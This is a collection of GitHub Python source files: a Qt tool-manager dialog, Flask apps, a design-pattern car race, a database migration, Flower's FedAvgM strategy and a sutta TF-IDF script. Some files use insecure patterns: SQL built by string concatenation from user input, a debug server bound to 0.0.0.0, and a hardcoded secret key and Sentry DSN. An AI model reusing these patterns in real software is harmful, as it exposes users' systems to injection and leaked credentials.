user_tool: self._vusertools.signal_update_tool.emit(label, user_tool))\n\t\tdialog.show()\n\t\n\tdef start_form_editor(self, form_tool = None, entry = False):\n\t\t\n\t\tself._vusertools.form_editor = EditorForm(self._vusertools, form_tool, entry)\n\t\tself._vusertools.form_editor.signal_add_tool.connect(lambda user_tool: self._vusertools.signal_add_tool.emit(user_tool))\n\t\tself._vusertools.form_editor.signal_update_tool.connect(lambda label, user_tool: self._vusertools.signal_update_tool.emit(label, user_tool))\n\t\tself._vusertools.form_editor.show()\n\t\n\tdef stop_form_editor(self):\n\t\t\n\t\tself._vusertools.form_editor.close()\n\t\tself._vusertools.form_editor = None\n\t\n\tdef populate(self):\n\t\t\n\t\tself.tool_list.clear()\n\t\tfor action in self._vusertools._toolbar.actions():\n\t\t\tif not issubclass(action.__class__, UserTool):\n\t\t\t\tcontinue\n\t\t\titem = QtWidgets.QListWidgetItem(action.icon(), action.text())\n\t\t\titem._tool = action\n\t\t\tself.tool_list.addItem(item)\n\t\n\tdef get_selected(self):\n\t\t\n\t\treturn [item._tool for item in self.tool_list.selectedItems()]\n\t\n\tdef update(self):\n\t\t\n\t\tselected = self.get_selected()\n\t\tself.button_edit.setEnabled(len(selected) == 1)\n\t\tself.button_delete.setEnabled(len(selected) > 0)\n\t\tself.button_order_up.setEnabled(len(selected) == 1)\n\t\tself.button_order_down.setEnabled(len(selected) == 1)\n\t\tself.button_export.setEnabled(len(selected) == 1)\n\t\n\t@QtCore.Slot()\n\tdef on_edit(self):\n\t\t\n\t\ttool = self.get_selected()[0]\n\t\tif isinstance(tool, Query):\n\t\t\tself.start_query_editor(tool)\n\t\tif isinstance(tool, SearchForm):\n\t\t\tself.start_form_editor(tool, entry = False)\n\t\telif isinstance(tool, EntryForm):\n\t\t\tself.start_form_editor(tool, entry = True)\n\t\n\t@QtCore.Slot()\n\tdef on_add_query(self):\n\t\t\n\t\tself.start_query_editor()\n\t\n\t@QtCore.Slot()\n\tdef on_add_search(self):\n\t\t\n\t\tself.start_form_editor(entry = False)\n\t\n\t@QtCore.Slot()\n\tdef on_add_entry(self):\n\t\t\n\t\tself.start_form_editor(entry = True)\n\t\n\t@QtCore.Slot()\n\tdef on_delete(self):\n\t\t\n\t\tlabels = [tool.label for tool in self.get_selected()]\n\t\tif not labels:\n\t\t\treturn\n\t\treply = QtWidgets.QMessageBox.question(self, \"Delete Tool\", \"Delete %d tools?\" % (len(labels)), QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No)\n\t\tif reply != QtWidgets.QMessageBox.Yes:\n\t\t\treturn\n\t\tself.signal_del_tool.emit(labels)\n\t\n\t@QtCore.Slot()\n\tdef on_order_up(self):\n\t\t\n\t\tpass\n\t\n\t@QtCore.Slot()\n\tdef on_order_down(self):\n\t\t\n\t\tpass\n\t\n\t@QtCore.Slot()\n\tdef on_export(self):\n\t\t\n\t\tself.signal_export.emit(self.get_selected()[0])\n\t\n\t@QtCore.Slot()\n\tdef on_import(self):\n\t\t\n\t\tself.signal_import.emit()\n\t\n\t@QtCore.Slot()\n\tdef on_selection_changed(self):\n\t\t\n\t\tself.update()\n\t\n\t@QtCore.Slot()\n\tdef on_data_changed(self):\n\t\t\n\t\tself.update()\n\t\n\t@QtCore.Slot()\n\tdef on_tools_changed(self):\n\t\t\n\t\tself.populate()\n","repo_name":"demjanp/deposit_gui","sub_path":"src/deposit_gui/view/vusertools_elements/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":7458,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"11214173120","text":"from plotters.PseudoHistogram import PseudoHistogram\nfrom statistics.ActivityPerHour import ActivityPerHour as ActivityPerHourStats\nfrom .Helper import Helper\n\n\nclass ActivityPerHour(PseudoHistogram):\n def __init__(self, data: ActivityPerHourStats):\n super().__init__(\n data=[data.total_activity_per_hour_by_datapoints, data.total_activity_per_hour_by_actions],\n title=\"Activity by hour\",\n xlabel=\"hour\",\n ylabel=\"% of datapoints/actions\",\n xticks=list(range(24)),\n percentage=True,\n legend=['by data points', 'by actions'],\n save_id='activity-by-hour',\n )\n","repo_name":"goalon/time-tracking-analysis","sub_path":"src/plotters/ActivityPerHour.py","file_name":"ActivityPerHour.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28677077524","text":"import os\nfrom datetime import datetime\nfrom flask import Flask, render_template, request, send_from_directory, g\nimport pandas as pd\nimport sqlite3\nfrom datetime import datetime\nimport db\n\napp = Flask(__name__)\napp.config.from_object(__name__)\n \napp.config.update(dict(\n DATABASE=os.path.join(app.root_path, './db/db.sqlite3'),\n SECRET_KEY='foo-baa',\n))\n\ndef connect_db():\n con = sqlite3.connect(app.config['DATABASE'])\n con.row_factory = sqlite3.Row\n return con\n\ndef get_db():\n if not hasattr(g, 'sqlite_db'):\n g.sqlite_db = connect_db()\n return g.sqlite_db\n\n@app.route(\"/\", methods=[\"GET\",\"POST\"])\n\ndef main():\n if request.method == \"GET\":\n return render_template(\"index3.html\")\n\n if request.method == \"POST\":\n\n place = request.form.get('place')\n indoor = request.form.get('indoor')\n category = request.form.get('category')\n age = request.form.get('age')\n address = request.form.get('address')\n photo = request.form.get('photo')\n web = request.form.get('web')\n latitude = request.form.get('latitude')\n longitude = request.form.get('longitude')\n locations = request.form.get('locations')\n\n con = get_db()\n pk = db.insert(con, place, indoor, category, age, address, photo, web, latitude, longitude, locations)\n results = db.select_all(con)\n\n df = pd.read_sql('select place, indoor, category, age, address, photo, web, latitude, longitude, locations from results', con=con)\n filepath = \"./csv/\" + datetime.now().strftime(\"%Y%m%d%H%M%S_data\") + \".csv\"\n df.to_csv(filepath, index=False)\n return render_template(\"index3.html\", \n results=results,\n message=\"Saved in database.\")\n\n@app.teardown_appcontext\ndef close_db(error):\n if hasattr(g, 'sqlite_db'):\n g.sqlite_db.close()\n\nif __name__ == '__main__':\n app.run(debug=True, host='0.0.0.0', port=1058) # ポートの変更","repo_name":"KanamiKobayashi/MVP1-Activekids365","sub_path":"db_util.py","file_name":"db_util.py","file_ext":"py","file_size_in_byte":2003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40884900017","text":"import sys \nimport os\nsys.path.append(os.path.join(os.path.dirname(__file__), '../..'))\n\nfrom flask import Flask\nfrom flask_login import LoginManager\nfrom flask_sqlalchemy import SQLAlchemy\nfrom dotenv import load_dotenv\nimport sentry_sdk\nfrom sentry_sdk.integrations.flask import FlaskIntegration\nfrom werkzeug.security import generate_password_hash\nimport pandas as pd\nfrom config import basedir\n\nfrom .models import init_db, db\n\ndef create_app(mode='development'):\n\n # Upload env variables\n load_dotenv()\n\n sentry_sdk.init(\n dsn=\"https://e519098cadb945139dc117c34caf4fbe@o1360069.ingest.sentry.io/6647818\",\n integrations=[\n FlaskIntegration(),\n ],\n\n # Set traces_sample_rate to 1.0 to capture 100%\n # of transactions for performance monitoring.\n # We recommend adjusting this value in production.\n traces_sample_rate=1.0\n)\n\n # Create app\n app = Flask(__name__, instance_relative_config=True)\n app.config['SECRET_KEY'] = os.environ['SECRET_KEY']\n\n # Select config\n if mode == \"development\":\n app.config.from_object('config.DevelopmentConfig')\n elif mode == \"test\":\n app.config.from_object('config.TestingConfig')\n elif mode == \"production\":\n app.config.from_object('config.ProductionConfig')\n\n from pokemon_app.models import Pokemon, User\n\n db.init_app(app)\n\n with app.app_context():\n db.create_all()\n pokemon_data = pd.read_csv(os.path.join(basedir, 'data/intermediate/pokemon.csv'), index_col=False, delimiter = ',')\n pokemon_data = pokemon_data.drop(['Number'], axis=1)\n # pokemon_data.to_sql('pokemon', db.engine, if_exists='append', index=False)\n pokemon_sql = pd.read_sql(\"SELECT * FROM pokemon\", db.engine)\n if pokemon_sql.shape[0] == 0:\n pokemon_data.to_sql('pokemon', db.engine, if_exists='append', index=False)\n else:\n existing_pokemon = pd.read_sql(\"SELECT name FROM pokemon\", db.engine)\n left_joined_pokemon = pokemon_data.merge(existing_pokemon, on='name', how='left', indicator=True)\n df = left_joined_pokemon.loc[left_joined_pokemon['_merge'] == 'left_only', 'name']\n new_pokemon = pokemon_data[pokemon_data['name'].isin(df)]\n new_pokemon.to_sql('pokemon', db.engine, if_exists='append', index=False)\n\n if not User.query.filter_by(email=os.environ[\"ADMIN_EMAIL\"]).first():\n # create new user with the form data. Hash the password so plaintext version isn't saved.\n admin = User(last_name=os.environ['ADMIN_LAST_NAME'], first_name=os.environ['ADMIN_FIRST_NAME'], email=os.environ['ADMIN_EMAIL'], username=os.environ['ADMIN_USERNAME'], password=generate_password_hash(os.environ['ADMIN_PASSWORD'], method='sha256'), role='admin')\n # add the new user to the database\n db.session.add(admin)\n db.session.commit()\n\n # Connect to log manager with flask login\n login_manager = LoginManager()\n login_manager.login_view = 'auth.login'\n login_manager.init_app(app)\n\n @login_manager.user_loader\n def load_user(user_id):\n # since the user_id is just the primary key of our user table, use it in the query for the user\n return models.User.query.get(int(user_id))\n\n from pokemon_app import models\n\n @app.cli.command(\"init_db\")\n def init_db():\n models.init_db()\n\n # blueprint for auth routes in our app\n from pokemon_app.auth import auth as auth_blueprint\n app.register_blueprint(auth_blueprint)\n\n # blueprint for non-auth parts of app\n from pokemon_app.main import main as main_blueprint\n app.register_blueprint(main_blueprint)\n\n return app","repo_name":"MrRachidK/projet-certification","sub_path":"pokemon_app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25487375054","text":"from random import randint, random\nfrom math import ceil\nimport copy\nfrom abc import ABCMeta, abstractmethod\n\nclass IOperator:\n\n\t__metaclass__ = ABCMeta\n\n\t@abstractmethod\n\tdef get_damage(self):\n\t\tpass\n\t\n\nclass Damage(IOperator):\n\t\n\tdef get_damage(self):\n\t\trand = random()\n\t\tif rand <= 0.015: return 1\n\t\telse: return 0\n\t\n\nclass Car:\n\tdef __init__(self, name, max_speed, drag_coef, time_to_max, health_points):\n\t\tself.name = name\n\t\tself.max_speed = max_speed\n\t\tself.drag_coef = drag_coef\n\t\tself.time_to_max = time_to_max\n\t\tself.health_points = health_points\n\n\tdef get_car_speed(self, competitor_time, wind_speed):\n\t\tif competitor_time == 0:\n\t\t\treturn 1\n\t\telse:\n\t\t\t_speed = (competitor_time / self.time_to_max) * self.max_speed\n\t\t\tif _speed > wind_speed:\n\t\t\t\t_speed -= (self.drag_coef * wind_speed)\n\t\t\treturn _speed\n\t\n\nclass Weather:\n\t\n\tdef __init__(self, max_wind_speed):\n\t\tself.__max_wind_speed = max_wind_speed\n\t\n\t@property\n\tdef get_wind_speed(self):\n\t\twind_speed = randint(0, self.__max_wind_speed)\n\t\treturn wind_speed\n\n\nclass Wrapper(IOperator):\n\tdef __init__(self, obj):\n\t\tself.obj = obj\n\n\tdef get_damage(self):\n\t\trand = random()\n\t\tif rand <= 0.00025: \n\t\t\treturn self.obj.get_damage() + 75\n\t\telse:\t\n\t\t\treturn self.obj.get_damage()\n\t\n\tdef start(self, competitors, weather):\n\t\treturn self.obj.start(competitors, weather)\n\n\nclass Competition():\n\tinstance = None\n\n\tdef __new__(cls, *args, **kwargs):\n\t\tif cls.instance == None:\n\t\t\tcls.instance = super().__new__(cls)\n\t\t\treturn cls.instance\n\t\telse:\n\t\t\traise Exception(\"Не может быть создано более одного экземпляра\")\n\t\n\tdef __init__(self, distance):\n\t\tself.distance = distance\n\t\t\n\tdef start(self, competitors, weather):\n\t\tfor car in competitors:\n\t\t\tcompetitor_time = 0\n\t\t\tfor _ in range(self.distance):\n\t\t\t\twind_speed = weather.get_wind_speed\n\t\t\t\t_speed = Car.get_car_speed(car, competitor_time, wind_speed)\n\t\t\t\tcar.health_points -= critical_damage.get_damage()\n\t\t\t\tcompetitor_time += float(1) / _speed\n\t\t\tresults.take_result(car.name, competitor_time, car.health_points)\n\t\t\t\n\nclass Observer(metaclass=ABCMeta):\n \"\"\"\n Абстрактный наблюдатель\n \"\"\"\n @abstractmethod\n def update(self, message):\n \"\"\"\n Получение нового сообщения\n \"\"\"\n pass\n\n\nclass Observable(metaclass=ABCMeta):\n \"\"\"\n Абстрактный наблюдаемый\n \"\"\"\n\n def __init__(self):\n self.observers = [] \n\n def register(self, observer):\n \"\"\"\n Регистрация нового наблюдателя на подписку\n \"\"\"\n self.observers.append(observer)\n\n def notify_observers(self, message):\n \"\"\"\n Передача сообщения всем наблюдателям, подписанным на события\n данного объекта наблюдаемого класса\n \"\"\"\n for observer in self.observers:\n observer.update(message)\n\n\nclass Results(Observable):\n\n\tcompetitors = []\n\n\tdef take_result(self, name, time, hp):\n\t\tif hp <= 0:\n\t\t\treturn self.competitors.append(f\"{name} выведна из строя\")\n\t\tstring = f\"{name} финиширует за: {(ceil(time*100)/100)} сек. С остатком здоровья: {hp}\"\n\t\tself.competitors.append(string)\n\n\tdef mailing_result(self):\n\t\tfor competitor in self.competitors:\n\t\t\tprint(competitor)\n\n\nclass Viewers(Observer):\n\tdef __init__(self, name):\n\t\tself.name = name\n\n\tdef update(self, message):\n\t\tprint('{}'.format(message))\n\n\nclass Prototype:\n\n def __init__(self):\n self._objects = {}\n\n def register_object(self, name, obj):\n \"\"\"Регистрируем объект\"\"\"\n self._objects[name] = obj\n\n def unregister_object(self, name):\n \"\"\"Отмена регистрации\"\"\"\n del self._objects[name]\n\n def clone(self, names, **attr):\n \"\"\"Клонируем зарегистрированный объект и обновляем внутренний словарь атрибутов\"\"\"\n obj = copy.deepcopy(self._objects.get(names))\n obj.__dict__.update(attr)\n return obj\n\n\nferrary = Car(\"Ferrary\", 340, 0.324, 26, 560)\nprototype = Prototype()\nprototype.register_object('objecta', ferrary)\nbugatti = prototype.clone('objecta', name = \"Bugatti\", max_speed = 407, drag_coef = 0.39, time_to_max = 32, health_points = 480)\ntoyota = prototype.clone('objecta', name=\"Toyota\", max_speed = 180, drag_coef = 0.25, time_to_max = 40, health_points = 380)\nlada = prototype.clone('objecta', name=\"Lada\", max_speed = 180, drag_coef = 0.32, time_to_max = 56, health_points = 200)\nsx4 = prototype.clone('objecta', name=\"SX4\", max_speed = 180, drag_coef = 0.33, time_to_max = 44, health_points = 800)\n\nweather = Weather(max_wind_speed = 20)\n\nresults = Results()\n\ndamage = Damage()\ncritical_damage = (Wrapper(damage))\n\ncompetitors = (ferrary, bugatti, toyota, lada, sx4)\ncompetition = Competition(10000)\ncompetition.start(competitors, weather)\n\nresults.register(Viewers(\"Зритель\"))\nresults.mailing_result()\n","repo_name":"11lomag11/backend_python","sub_path":"Lesson_3_Design_Patterns/Lesson_3_Design_Patterns.py","file_name":"Lesson_3_Design_Patterns.py","file_ext":"py","file_size_in_byte":5108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14421484331","text":"\"\"\"testDB table\n\nRevision ID: f38da79eb541\nRevises: 4e874a3554be\nCreate Date: 2022-07-31 20:58:53.949046\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'f38da79eb541'\ndown_revision = '4e874a3554be'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('model_session', 'main_node_count')\n op.add_column('user_commitment', sa.Column('date_created', sa.DateTime(), nullable=True))\n op.add_column('user_commitment', sa.Column('last_updated', sa.DateTime(), nullable=True))\n op.add_column('user_commitment', sa.Column('user_id', sa.Integer(), nullable=True))\n op.create_foreign_key(None, 'user_commitment', 'user', ['user_id'], ['id'])\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'user_commitment', type_='foreignkey')\n op.drop_column('user_commitment', 'user_id')\n op.drop_column('user_commitment', 'last_updated')\n op.drop_column('user_commitment', 'date_created')\n op.add_column('model_session', sa.Column('main_node_count', sa.INTEGER(), nullable=True))\n # ### end Alembic commands ###\n","repo_name":"weijie9512/official_sat_chatbot","sub_path":"model/migrations/versions/f38da79eb541_testdb_table.py","file_name":"f38da79eb541_testdb_table.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7285788582","text":"from logging import WARNING\nfrom typing import Callable, Dict, List, Optional, Tuple, Union\n\nfrom flwr.common import (\n FitRes,\n MetricsAggregationFn,\n NDArrays,\n Parameters,\n Scalar,\n ndarrays_to_parameters,\n parameters_to_ndarrays,\n)\nfrom flwr.common.logger import log\nfrom flwr.server.client_manager import ClientManager\nfrom flwr.server.client_proxy import ClientProxy\n\nfrom .aggregate import aggregate\nfrom .fedavg import FedAvg\n\n\nclass FedAvgM(FedAvg):\n \"\"\"Configurable FedAvg with Momentum strategy implementation.\"\"\"\n\n # pylint: disable=too-many-arguments,too-many-instance-attributes, line-too-long\n def __init__(\n self,\n *,\n fraction_fit: float = 1.0,\n fraction_evaluate: float = 1.0,\n min_fit_clients: int = 2,\n min_evaluate_clients: int = 2,\n min_available_clients: int = 2,\n evaluate_fn: Optional[\n Callable[\n [int, NDArrays, Dict[str, Scalar]],\n Optional[Tuple[float, Dict[str, Scalar]]],\n ]\n ] = None,\n on_fit_config_fn: Optional[Callable[[int], Dict[str, Scalar]]] = None,\n on_evaluate_config_fn: Optional[Callable[[int], Dict[str, Scalar]]] = None,\n accept_failures: bool = True,\n initial_parameters: Optional[Parameters] = None,\n fit_metrics_aggregation_fn: Optional[MetricsAggregationFn] = None,\n evaluate_metrics_aggregation_fn: Optional[MetricsAggregationFn] = None,\n server_learning_rate: float = 1.0,\n server_momentum: float = 0.0,\n ) -> None:\n \"\"\"Federated Averaging with Momentum strategy.\n\n Implementation based on https://arxiv.org/pdf/1909.06335.pdf\n\n Parameters\n ----------\n fraction_fit : float, optional\n Fraction of clients used during training. Defaults to 0.1.\n fraction_evaluate : float, optional\n Fraction of clients used during validation. Defaults to 0.1.\n min_fit_clients : int, optional\n Minimum number of clients used during training. Defaults to 2.\n min_evaluate_clients : int, optional\n Minimum number of clients used during validation. Defaults to 2.\n min_available_clients : int, optional\n Minimum number of total clients in the system. Defaults to 2.\n evaluate_fn : Optional[Callable[[int, NDArrays, Dict[str, Scalar]], Optional[Tuple[float, Dict[str, Scalar]]]]]\n Optional function used for validation. Defaults to None.\n on_fit_config_fn : Callable[[int], Dict[str, Scalar]], optional\n Function used to configure training. Defaults to None.\n on_evaluate_config_fn : Callable[[int], Dict[str, Scalar]], optional\n Function used to configure validation. Defaults to None.\n accept_failures : bool, optional\n Whether or not accept rounds containing failures. Defaults to True.\n initial_parameters : Parameters, optional\n Initial global model parameters.\n server_learning_rate: float\n Server-side learning rate used in server-side optimization.\n Defaults to 1.0.\n server_momentum: float\n Server-side momentum factor used for FedAvgM. Defaults to 0.0.\n \"\"\"\n super().__init__(\n fraction_fit=fraction_fit,\n fraction_evaluate=fraction_evaluate,\n min_fit_clients=min_fit_clients,\n min_evaluate_clients=min_evaluate_clients,\n min_available_clients=min_available_clients,\n evaluate_fn=evaluate_fn,\n on_fit_config_fn=on_fit_config_fn,\n on_evaluate_config_fn=on_evaluate_config_fn,\n accept_failures=accept_failures,\n initial_parameters=initial_parameters,\n fit_metrics_aggregation_fn=fit_metrics_aggregation_fn,\n evaluate_metrics_aggregation_fn=evaluate_metrics_aggregation_fn,\n )\n self.server_learning_rate = server_learning_rate\n self.server_momentum = server_momentum\n self.server_opt: bool = (self.server_momentum != 0.0) or (\n self.server_learning_rate != 1.0\n )\n self.momentum_vector: Optional[NDArrays] = None\n\n def __repr__(self) -> str:\n \"\"\"Compute a string representation of the strategy.\"\"\"\n rep = f\"FedAvgM(accept_failures={self.accept_failures})\"\n return rep\n\n def initialize_parameters(\n self, client_manager: ClientManager\n ) -> Optional[Parameters]:\n \"\"\"Initialize global model parameters.\"\"\"\n return self.initial_parameters\n\n def aggregate_fit(\n self,\n server_round: int,\n results: List[Tuple[ClientProxy, FitRes]],\n failures: List[Union[Tuple[ClientProxy, FitRes], BaseException]],\n ) -> Tuple[Optional[Parameters], Dict[str, Scalar]]:\n \"\"\"Aggregate fit results using weighted average.\"\"\"\n if not results:\n return None, {}\n # Do not aggregate if there are failures and failures are not accepted\n if not self.accept_failures and failures:\n return None, {}\n # Convert results\n weights_results = [\n (parameters_to_ndarrays(fit_res.parameters), fit_res.num_examples)\n for _, fit_res in results\n ]\n\n fedavg_result = aggregate(weights_results)\n # following convention described in\n # https://pytorch.org/docs/stable/generated/torch.optim.SGD.html\n if self.server_opt:\n # You need to initialize the model\n assert (\n self.initial_parameters is not None\n ), \"When using server-side optimization, model needs to be initialized.\"\n initial_weights = parameters_to_ndarrays(self.initial_parameters)\n\n # remember that updates are the opposite of gradients\n pseudo_gradient: NDArrays = [\n x - y\n for x, y in zip(\n parameters_to_ndarrays(self.initial_parameters), fedavg_result\n )\n ]\n if self.server_momentum > 0.0:\n if server_round > 1:\n assert (\n self.momentum_vector\n ), \"Momentum should have been created on round 1.\"\n self.momentum_vector = [\n self.server_momentum * x + y\n for x, y in zip(self.momentum_vector, pseudo_gradient)\n ]\n else:\n self.momentum_vector = pseudo_gradient\n\n # No nesterov for now\n pseudo_gradient = self.momentum_vector\n\n # SGD\n fedavg_result = [\n x - self.server_learning_rate * y\n for x, y in zip(initial_weights, pseudo_gradient)\n ]\n # Update current weights\n self.initial_parameters = ndarrays_to_parameters(fedavg_result)\n\n parameters_aggregated = ndarrays_to_parameters(fedavg_result)\n\n # Aggregate custom metrics if aggregation fn was provided\n metrics_aggregated = {}\n if self.fit_metrics_aggregation_fn:\n fit_metrics = [(res.num_examples, res.metrics) for _, res in results]\n metrics_aggregated = self.fit_metrics_aggregation_fn(fit_metrics)\n elif server_round == 1: # Only log this warning once\n log(WARNING, \"No fit_metrics_aggregation_fn provided\")\n\n return parameters_aggregated, metrics_aggregated\n","repo_name":"adap/flower","sub_path":"src/py/flwr/server/strategy/fedavgm.py","file_name":"fedavgm.py","file_ext":"py","file_size_in_byte":7491,"program_lang":"python","lang":"en","doc_type":"code","stars":3287,"dataset":"github-code","pt":"61"} +{"seq_id":"24384544931","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom auto_completion import *\nimport nltk\nimport itertools\nfrom math import log\nimport sqlite3\n\n\n\nsutta_dict_path = './sutta_dictionary.json'\n\nclass Sutta_search_tfidf(Sutta_search):\n all_words_dict = dict()\n num_docs = 20\n num_total_suttas = 3976\n\n def __init__(self, cached_directories):\n super().__init__(cached_directories)\n\n def build_dictionary(self, N=20):\n self.num_docs = N\n counter = 0\n f = open(self.cached_directories, \"r\")\n all_lines = []\n for x in f:\n counter += 1\n if (counter == self.num_docs):\n break\n sfile = x.rstrip(\"\\n\") \n s = open(sfile, \"r\")\n for line in s:\n line = re.split(\"\\\": \\\"\",line) #line.split(':')[1]\n if (len(line) > 1):\n ln = line[1].rstrip(\"\\n\")\n ln = ln.rstrip(\"\\\",\").lower()\n all_lines.append(nltk.word_tokenize(ln))\n \n res_list = []\n for k in all_lines:\n res_list = list(itertools.chain(res_list, k))\n \n # print(res_list)\n\n self.all_words_dict = word_frequencies(res_list)\n # print(self.all_words_dict)\n return counter\n\n def serialize_dict(self):\n f = open(sutta_dict_path, \"w\")\n f.write(json.dumps(self.all_words_dict, sort_keys=True, indent=4))\n\n def open_serial_dict(self):\n with open(sutta_dict_path) as json_file:\n self.all_words_dict = json.load(json_file)\n \n def print_key_sutta_dict(self, term):\n for x in self.all_words_dict:\n if (x == term):\n print(\"%s: %s\" % (x, self.all_words_dict[x]))\n \n def idf (self, doc_matches):\n return (log(self.num_total_suttas/(1+doc_matches)))\n\ndef load_a_sutta (susnum, dirlist):\n sus = Sutta_search(dirlist)\n sus.set_search_string(susnum)\n sus.new_search()\n return sus.search_lines\n # build_a_dict (sus.search_lines)\n # print(\"search_lines: \", sus.search_lines)\n # fline = sus.search_lines[0].rstrip(\"\\\\n\")\n\ndef build_a_dict (sutta_strings):\n all_lines = []\n for fline in sutta_strings:\n fline = re.findall(r'\"(.*?)\"', fline)\n all_lines.append(fline[1].lower())\n \n sutta_one_string = ''.join(all_lines)\n\n sutta_tokens = nltk.word_tokenize(sutta_one_string)\n\n return word_frequencies(sutta_tokens)\n \ndef count_words (sutta_dict):\n word_count = 0\n for x in sutta_dict:\n if (x != ',' or x != '‘' or x != '“' or x != '.' or x != '?' or x != '’' or x != '”'):\n # print(sutta_dict[x]) \n word_count += sutta_dict[x]\n return word_count\n\ndef sutta_tfidf ():\n if (len(sys.argv) < 2):\n print(\"Usage: python[3.7] tfidf.py \")\n return\n search_words = sys.argv[1]\n conn = sqlite3.connect('suttas.db')\n c = conn.cursor()\n\n r =[]\n r.append(search_words)\n create_directory_cache()\n directory_list = \"./sutta_files.txt\"\n sst = Sutta_search_tfidf(directory_list)\n w = Word_tree_nltk(directory_list, r)\n s_analysis = w.start_search() \n print(s_analysis)\n looplen = len(w.string_caches)\n if (len(s_analysis) > 0):\n for k in range(looplen):\n if (len(s_analysis)):\n # print(w.string_caches[k])\n print(\"document matches:\", (len(s_analysis)))\n\n idf = sst.idf(len(s_analysis))\n print(\"inverse document frequency (idf) of\", search_words, \"=\", idf)\n\n search_words = search_words.lower()\n sql_cmd_1 = \"INSERT INTO word (word, idf) \\n\"\n sql_cmd_2 = \"SELECT '\"+search_words+\"', '\"+str(idf)+\"' \\n\"\n sql_cmd_3 = \"WHERE NOT EXISTS (SELECT * FROM word WHERE word = '\"+search_words+\"') \"\n # print (sql_cmd_1 + sql_cmd_2 + sql_cmd_3) \n c.execute(sql_cmd_1 + sql_cmd_2 + sql_cmd_3)\n conn.commit()\n c.execute(\"SELECT id FROM word WHERE word = '\"+search_words+\"'\")\n word_id = c.fetchone()[0]\n # print(word_id)\n\n for sta in s_analysis:\n print(\"-------------------------\")\n sunum = sta[1] + \":\"\n sulines = load_a_sutta(sunum, directory_list)\n # print(sulines)\n sutta_tokens_dict = build_a_dict(sulines)\n sutta_word_count = count_words(sutta_tokens_dict)\n occ = sutta_tokens_dict.get(search_words)\n if occ:\n term_freq = sutta_tokens_dict[search_words] / sutta_word_count\n print(\"sutta\", sta[1], \"has\", sutta_word_count, \"words\")\n\n sql_cmd_1 = \"INSERT INTO sutta (number,description,word_count) \\n\"\n sql_cmd_2 = \"SELECT '\"+sta[1]+\"', 'empty', '\"+str(sutta_word_count)+\"' \\n\"\n sql_cmd_3 = \"WHERE NOT EXISTS (SELECT * FROM sutta WHERE number = '\"+sta[1]+\"') \"\n # print (sql_cmd_1 + sql_cmd_2 + sql_cmd_3) \n c.execute(sql_cmd_1 + sql_cmd_2 + sql_cmd_3)\n conn.commit()\n\n # print(json.dumps(sutta_tokens_dict, sort_keys=True, indent=4))\n print (\"term matches of\", search_words, \"in\", sta[1], \"=\", sutta_tokens_dict[search_words])\n print (\"term frequency (tf) of\", search_words, \"in\", sta[1], \"=\", term_freq)\n tf_idf = term_freq * idf\n print (\"tf-idf of\", search_words, \"in\", sta[1], \"=\", tf_idf)\n \n c.execute(\"SELECT id FROM sutta WHERE number = '\"+sta[1]+\"'\")\n sutta_id = c.fetchone()[0]\n # print(sutta_id)\n\n sql_cmd_1 = \"INSERT INTO tfidf (sutta,word,matches,tf,tfidf) \\n\"\n sql_cmd_2 = \"VALUES ('\"+str(sutta_id)+\"', '\"+str(word_id)+\"', '\"+str(occ)+\"', '\"+str(term_freq)+\"', '\"+str(tf_idf)+\"')\"\n \n print (sql_cmd_1 + sql_cmd_2) \n c.execute(sql_cmd_1 + sql_cmd_2)\n conn.commit()\n\n\n else:\n print(\"term not found in\", sta[1])\n\n conn.close()\n\ndef words_to_tfidf (directory_list, search_words):\n # if (len(sys.argv) < 2):\n # print(\"Usage: python[3.7] tfidf.py \")\n # return\n # search_words = sys.argv[1]\n r =[]\n r.append(search_words)\n create_directory_cache()\n # directory_list = \"./sutta_files.txt\"\n sst = Sutta_search_tfidf(directory_list)\n w = Word_tree_nltk(directory_list, r)\n s_analysis = w.start_search() \n print(s_analysis)\n if (len(s_analysis) < 1):\n print(search_words, \"not found\")\n return\n looplen = len(w.string_caches)\n if (len(s_analysis) > 0):\n for k in range(looplen):\n if (len(s_analysis)):\n # print(w.string_caches[k])\n print(\"document matches:\", (len(s_analysis)))\n\n idf = sst.idf(len(s_analysis))\n print(\"inverse document frequency (idf) of\", search_words, \"=\", idf)\n\n search_words = search_words.lower()\n # print(s_analysis)\n \n sunum = s_analysis[0][1] + \":\"\n sulines = load_a_sutta(sunum, directory_list)\n # print(sulines)\n sutta_tokens_dict = build_a_dict(sulines)\n sutta_word_count = count_words(sutta_tokens_dict)\n sutta_term_count = sutta_tokens_dict.get(search_words)\n if (sutta_term_count != None):\n term_freq = sutta_term_count / sutta_word_count\n print(\"sutta\", s_analysis[0][1], \"has\", sutta_word_count, \"words\")\n # print(json.dumps(sutta_tokens_dict, sort_keys=True, indent=4))\n print (\"term matches of\", search_words, \"in\", s_analysis[0][1], \"=\", sutta_term_count)\n print (\"term frequency (tf) of\", search_words, \"in\", s_analysis[0][1], \"=\", term_freq)\n tf_idf = term_freq * idf\n print (\"tf-idf of\", search_words, \"in\", s_analysis[0][1], \"=\", tf_idf)\n \n\ndef file_of_words_to_idf ():\n if (len(sys.argv) < 2):\n print(\"Usage: python[3.7] tfidf.py \")\n return\n file_with_words = sys.argv[1]\n directory_list = \"./sutta_files.txt\"\n f = open(file_with_words, \"r\")\n for x in f:\n x = x.rstrip('\\n')\n print(x)\n 